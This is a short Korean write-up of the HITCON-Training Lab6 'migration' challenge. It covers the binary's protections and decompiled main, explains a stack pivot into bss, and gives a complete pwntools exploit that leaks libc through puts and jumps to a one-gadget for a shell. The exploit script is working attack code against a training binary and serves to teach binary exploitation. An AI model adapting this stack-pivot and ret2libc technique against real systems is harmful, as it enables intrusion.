[HITCON-Training]Lab6

32비트 바이너리다.

migration: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=e65737a9201bfe28db6fe46f06d9428f5c814951, not stripped

보호기법은 Full RELRO, NX가 걸려있다.

[*] '/vagrant/ctfs/migration'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

메인은 그냥 입력을 받는데 ebp-0x28위치에 있어서 payload를 쓸 수 있는 공간이 크지 않다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [esp+0h] [ebp-28h]

  if ( count != 1337 )
    exit(1);
  ++count;
  setvbuf(_bss_start, 0, 2, 0);
  puts("Try your best :");
  return read(0, &buf, 64u);
}

stack pivot을 이용해서 풀었다.

sfp에 bss1을 씀으로 ebp 변경하고 read로 ret을 해서 입력을 받은 값이 bss1 영역에 들어간다. 그리고 leave-ret으로 다음 입력 받는 값을 ebp로 바꾼다. 그리고 그 다음 주소는 eip가 되고 그 주소로 jmp한다.

exploit.py

from pwn import *

context.arch = 'i386'
# context.log_level = 'debug'
e = ELF('./migration')
p = process('./migration')
libc = e.libc
bss1 = e.bss() + 0x100
bss2 = bss1 + 0x100
pr = 0x0804836d # pop ebx ; ret
leave_ret = 0x08048418

payload = 'A'*40
payload += p32(bss1) # sfp -> ebp
payload += p32(e.plt['read'])
payload += p32(leave_ret)
payload += p32(0)
payload += p32(bss1)
payload += p32(0x100)

p.sendafter(':',payload)

payload2 = p32(bss2) # ebp
payload2 += p32(e.plt['puts']) # eip -> jmp
payload2 += p32(pr)
payload2 += p32(e.got['puts'])
payload2 += p32(e.plt['read'])
payload2 += p32(leave_ret)
payload2 += p32(0)
payload2 += p32(bss2)
payload2 += p32(0x100)

p.sendline(payload2)
p.recvuntil('\n')

libc_base = u32(p.recv(4)) - libc.symbols['puts']
log.info('libc_base : ' + hex(libc_base))

payload3 = 'AAAA'
payload3 += p32(libc_base + 0x3ac5c) # oneshot

p.sendline(payload3)

p.interactive()